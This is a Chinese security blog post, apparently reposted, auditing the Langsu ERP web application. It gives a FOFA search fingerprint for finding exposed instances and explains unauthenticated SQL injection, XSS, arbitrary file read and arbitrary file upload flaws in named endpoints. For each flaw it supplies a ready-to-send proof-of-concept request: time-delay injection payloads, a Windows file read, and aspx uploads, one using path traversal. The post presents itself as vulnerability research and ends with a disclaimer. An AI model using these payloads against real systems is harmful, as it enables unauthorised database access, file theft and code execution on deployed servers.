文章总结: 本文详细分析了朗速ERP系统存在的多个高危安全漏洞。作者通过代码审计发现了SQL注入、XSS跨站脚本、任意文件读取及任意文件上传等漏洞,涉及DataInterfaceApi.ashx、ModuleAjaxApi.ashx等多个接口。文章提供了FOFA指纹语法及详细的漏洞复现POC,验证了未授权访问与恶意文件执行的风险。建议相关用户尽快排查接口鉴权逻辑与文件处理机制,及时修复漏洞以防止系统被攻击者控制。
综合评分: 89
文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全
代码审计 | 朗速ERP漏洞分析
原创
学安全的猪
学安全的猪
学安全的猪
2026年2月13日 17:01
江苏
概述
朗速ERP存在SQL注入、XSS、任意文件读取、任意文件上传等漏洞。
fofa: body="/Resource/Scripts/Yw/Yw_Bootstrap.js"
SQL注入漏洞
SQL注入1,Api/DataInterfaceApi.ashx对应的dll文件为bin/Lskj.Data.Api.dll,使用ILSpy反编译,DataInterfaceApi类的SyncData()方法无鉴权,接收apiNo和repeaterUrl两个参数,当repeaterUrl为空时会调用DataInterface().UpdateLserpData()方法;
在DataInterface().UpdateLserpData()方法中,apiNo参数被直接拼接到sql语句中执行,存在SQL注入漏洞;
POST /Api/DataInterfaceApi.ashx HTTP/1.1Host: x.x.x.xContent-Type: application/x-www-form-urlencodedContent-Length: 72
method=SyncData&repeaterUrl=&data=1&apiNo=1'+end;WAITFOR+DELAY'0:0:5'--+
SQL注入2,Api/ModuleAjaxApi.ashx对应Lskj.WebErp.Core.dll,其GetFlowChartOption()方法未鉴权接收ModuleId,ModuleType,billType三个参数,billType参数被传入moduleImpl.GetFlowChartOption()方法中,接着传入了base.dataImpl.GetFlowChartOption()方法;
在base.dataImpl.GetFlowChartOption()方法billType和ModuleId参数使用字符串插值$””拼接到SQL语句中,存在SQL注入漏洞;
POST /Api/ModuleAjaxApi.ashx HTTP/1.1Host: x.x.x.xContent-Type: application/x-www-form-urlencodedContent-Length: 84
method=GetFlowChartOption&ModuleId=1&ModuleType=0&billType=1'WAITFOR+DELAY'0:0:3'--+
SQL注入3,还是在Api/ModuleAjaxApi.ashx,另一个无鉴权的方法 UpdatePartFlowChartOption(),options参数是个json字符串,最终传入base.dataImpl.UpdateFlowChartOption()方法中,其key值被拼接到SQL语句中,或者其它几个参数,存在SQL注入漏洞;
POST /Api/ModuleAjaxApi.ashx HTTP/1.1Host: x.x.x.xContent-Type: application/x-www-form-urlencodedContent-Length: 109
method=UpdatePartFlowChartOption&ModuleId=1&ModuleType=0&billType=1&options={"1'WAITFOR+DELAY'0:0:3'--+":"1"}
还有其他很多注入点;
XSS漏洞
ImageLoader.aspx如下,接收imgUrl参数拼接到img标签中,存在XSS漏洞;
/ImageLoader.aspx?imgUrl=1"onerror="alert('xss')"
任意文件读取
在WebDwgDefault.aspx中,当IsSave为false时可读取文件FileName,存在任意文件读取漏洞;
/WebDwgDefault.aspx?IsSave=false&FileName=C:/Windows/win.ini
任意文件上传
文件上传1,上面那个WebDwgDefault.aspx,当IsSave为true时可上传文件,文件名FileName参数传入、无后缀限制、文件保存在网站目录下,存在任意文件上传漏洞;
POST /WebDwgDefault.aspx?IsSave=true&FileName=test.aspx HTTP/1.1Host: x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundarydwGFMSgi5b9kDbM0Content-Length: 237
------WebKitFormBoundarydwGFMSgi5b9kDbM0Content-Disposition: form-data; name="file"; filename="1.png"
<%@ Page Language="C#" %><%Response.Write(Guid.NewGuid().ToString());Response.End();%>------WebKitFormBoundarydwGFMSgi5b9kDbM0--
文件上传2,Api/TinyMce/UploadAjaxAPI.ashx对应Lskj.Views.WebErp.dll,可上传aspx后缀文件、非图片后缀的文件保存到/fileRoot/tinymce/otherfile/目录下,文件名直接与保存路径拼接,可以通过 ../ 穿越到网站目录下,存在任意文件上传漏洞;
POST /Api/TinyMce/UploadAjaxAPI.ashx HTTP/1.1Host: x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqfHrEc8f5X9KnJUTContent-Length: 253
------WebKitFormBoundaryqfHrEc8f5X9KnJUTContent-Disposition: form-data; name="file"; filename="/../../../../abc.aspx"
<%@ Page Language="C#" %><%Response.Write(Guid.NewGuid().ToString());Response.End();%>------WebKitFormBoundaryqfHrEc8f5X9KnJUT--
免责声明:本文内容仅限于学习交流自查,旨在提高安全意识、加强安全防护。读者任何基于本文的操作均属个人行为,后果自负,与本文作者及本公众号无关。如有侵权请联系删除。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:学安全的猪 学安全的猪
学安全的猪《代码审计 | 朗速ERP漏洞分析》